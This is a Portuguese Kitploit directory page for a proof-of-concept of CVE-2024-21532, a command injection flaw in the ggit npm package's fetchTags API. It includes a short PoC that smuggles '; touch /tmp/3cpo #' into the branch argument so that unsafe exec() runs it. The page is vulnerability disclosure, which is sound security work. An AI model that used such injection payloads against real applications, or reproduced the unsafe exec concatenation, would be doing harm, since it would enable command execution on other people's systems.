Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-21532-PoC-ggit — Prova de conceito de exploit para CVE-2024-21532, uma vulnerabilidade de injeção de comandos na API fetchTags do pacote npm ggit, demonstrando o uso inseguro de exec(). | Kitploit
Ferramentas/GitHubGitHub/lirantal/cve-2024-21532-poc-ggit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHublirantal/cve-2024-21532-poc-ggit

CVE-2024-21532-PoC-ggit

Prova de conceito de exploit para CVE-2024-21532, uma vulnerabilidade de injeção de comandos na API fetchTags do pacote npm ggit, demonstrando o uso inseguro de exec().

Ver Repositório
2há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-21532 Vulnerabilidade de Injeção de Comandos no ggit

ggit se descreve como:

root@kitploit:~
Local promise-returning git command wrappers

Recursos:

  • Código-fonte do projeto no GitHub: https://github.com/bahmutov/ggit
  • Pacote npm do projeto: https://www.npmjs.com/package/ggit

Artigo sobre esta vulnerabilidade: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Contexto sobre a exploração

Estou relatando uma vulnerabilidade de Injeção de Comandos no pacote npm ggit.

Esta vulnerabilidade se manifesta com a API fetchTags(branch) da biblioteca, que permite que a entrada do usuário especifique o branch a ser buscado e, em seguida, concatena essa string com um comando git, que é então passado para a insegura API exec() do processo filho do Node.js.

Exploit

  1. Instale o [email protected] ou anterior
  2. Crie o seguinte POC:
root@kitploit:~
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});
  1. Observe o novo arquivo criado no disco em /tmp/3cpo

Contribuindo

Consulte CONTRIBUTING para obter diretrizes sobre como contribuir com este projeto.

Autor

Liran Tal

Baixar ferramenta